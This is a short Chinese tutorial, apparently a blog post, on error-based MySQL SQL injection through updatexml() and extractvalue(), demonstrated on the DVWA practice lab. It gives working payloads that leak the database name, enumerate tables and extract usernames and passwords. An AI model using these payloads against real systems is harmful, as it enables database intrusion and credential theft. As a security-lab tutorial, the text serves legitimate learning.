1.基础:
首先了解updatexml和extractvalue注入之前我们来了解下扫描是updatexml和extractvalue
updatexml()函数 用法:UPDATEXML (XML_document, XPath_string, new_value); 用处:是mysql对xml实体内容进行修改的函数,其中第一个参数是要修改的xml实体,第二个是要修改的xml路径,第三个是要修改成的值是什么。
然后我们在来了解下xml实体 为了更好理解这里用xml代替上面途中xml实体,比我们要修改from标签的值John为1,语法:updatexml(xml,"/from/",1)
tractvalue()函数 用法:extractvalue(XML_document, XPath_string); 用处:对xml实体进行截取展示有点类似mysql的show 还是以上面的xml为例,语法:extractvalue(xml “/from/”) 结果为:显示该路径标签内容John
sql注入利用
**漏洞利用原理:**当用select执行上述两个函数时,如果路径读取错误,mysql就会报错并回显该错误路径,这时只要把他要回显的信息改成我们想查看的内容就行了如select extractvalue(concatz(0x7e,database()))便会报错回显数据库信息 其中的concat函数是把两个字符串拼接在一起即将错误的路径符号和要查询的参数连接起来,0x7e是~符号的ascii码值,对于该函数在路径上他识别不了一些特殊符号如#,还有上述的波浪号等
效果展示: 这里以dvwa的sql注入为实战,等级为low级别,查询数据库
pyload:1'and extractvalue(1,concat(0x7e,database()))
获取表信息,因为错误回显只能有一行所以要用limit限制输出
pyload:1'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)))
然后我懒得按步骤来了直接省略查表字段冲账号密码了,想尝试的兄弟可以自己一步步尝试,参考我文章里的dvwa-sql注入
1'and extractvalue(1,concat(0x7e,(select concat(user,password) from users limit 1,1)))
至于updatexml函数大家可以自己去试试,是一样的原理,这里就不多演示。
|